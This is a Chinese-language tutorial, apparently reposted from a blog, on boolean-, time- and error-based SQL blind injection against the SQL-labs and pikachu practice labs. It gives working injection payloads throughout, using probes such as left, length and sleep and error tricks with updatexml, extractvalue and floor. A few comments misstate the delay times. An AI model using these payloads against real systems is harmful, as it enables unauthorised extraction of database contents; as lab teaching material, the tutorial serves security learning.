一、SQL盲注概述
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1.基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2.基于时间的SQL盲注-延时判断
if,sleep
3.基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
参考:https://www.jianshu.com/p/bc35f8dd4f7c
https://xz.aliyun.com/t/7169#toc-19
数据库基本函数
like ‘%ro%’ #进行条件匹配,like ‘%{’ 表示末尾匹配、 like ‘{%’; 表示开头匹配、 like '%{%'表示全局匹配
regexp ‘[a-z]’; #匹配a到z所有数据等
if(条件,5,0) #条件成立延时执行2秒,否则延时执行3秒
sleep(5) #SQL语句延时执行3秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=4 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
基于布尔的SQL盲注
还是选择SQL-labs靶场的第5关,然后开始正常的注入发现有3列
但是这里正常的联合注入,发现页面还是没有回显我们想要的信息
接下来我们尝试布尔盲注,数据库字符第一位=a错误,数据库字符第一位=s返回正常
?id=1' and left(database(),1)='a' --+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),1)>'f' --+
然后判断数据库字符串长度,发现数据库有8位,后面直接写脚本就完事辽
?id=1' and length(database())=8 --+
基于时间的SQL盲注-延时判断
SQL-labs靶场的第2关,还是和前面一样判断数据库第一位字符串
?id=1 and substr(database(),1,1)='s'--+
这里加一个if判断语句,如果数据库第一位字符串正确则延迟两秒
?id=1 and if(substr(database(),1,1)='s',sleep(2),0)--+
这里还可以直接判断数据库名正确就延迟3秒
?id=1 and if(database()='security',sleep(3),0) --+
基于报错的SQL盲注-报错回显
正常mysql update更新语句 update flag set flag=‘cmss’ where id=2;
加上报错语句, update flag set flag='cmss'or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;
爆出数据库名 flag
然后我们在靶场pikachu 测试一下
1.在这个更新资料的位置
1111' or updatexml(1,concat(0x7e,(version())),0) or'
在更新的构造sql语句尝试让他报错得到数据库版本信息
' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '
' or extractvalue(1,concat(0x7e,database())) or '
爆出数据库版本
2.在注册的位置构造语句
' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
' or extractvalue(1,concat(0x7e,database())) or '
爆出数据库版本
' or updatexml(1,concat(0x7e,(version())),0) or '
爆出数据库版本
3.在删除的位置构造sql语句
?id=59 or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
?id=59 or+updatexml+(1,concat(0x7e,database()),0)
爆出数据库版本
转载:https://blog.csdn.net/qq_36241198/article/details/116768585